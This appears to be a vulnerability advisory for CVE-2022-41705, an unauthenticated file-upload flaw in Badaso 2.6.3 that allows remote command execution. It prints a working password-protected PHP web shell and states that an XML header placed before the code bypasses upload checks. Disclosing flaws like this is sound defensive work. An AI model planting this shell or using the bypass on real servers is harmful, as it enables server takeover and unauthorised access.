Badaso 2.6.3 - Remote Command Execution

Summary

Vulnerability

Description

Badaso version 2.6.3 allows an unauthenticated remote attacker to execute arbitrary code remotely on the server. This is possible because the application does not properly validate the data uploaded by users.

Vulnerability

This vulnerability occurs because the application does not correctly validate files uploaded by users. Thanks to this, we uploaded a file with malicious PHP code, instead of an image file.

Exploitation

To exploit this vulnerability, the following file must be sent to the server:

exploit.php

<?xml version="1.0" standalone="no"?> <?php if($_POST && $_POST['password']==="AGSH635479302H235") { echo system($_POST['cmd']); } ?>

It is important to put an XML header before the malicious code to bypass security controls.

Evidence of exploitation

Our security policy

We have reserved the CVE-2022-41705 to refer to this issue from now on.

• https://fluidattacks.com/advisories/policy/

System Information

• Version: Badaso 2.6.3

• Operating System: GNU/Linux

Mitigation

An updated version of Badaso is available at the vendor page.

Credits

The vulnerability was discovered by Carlos Bello from Fluid Attacks' Offensive Team.

References

Vendor page https://github.com/uasoft-indonesia/badaso

Issue https://github.com/uasoft-indonesia/badaso/issues/818

Timeline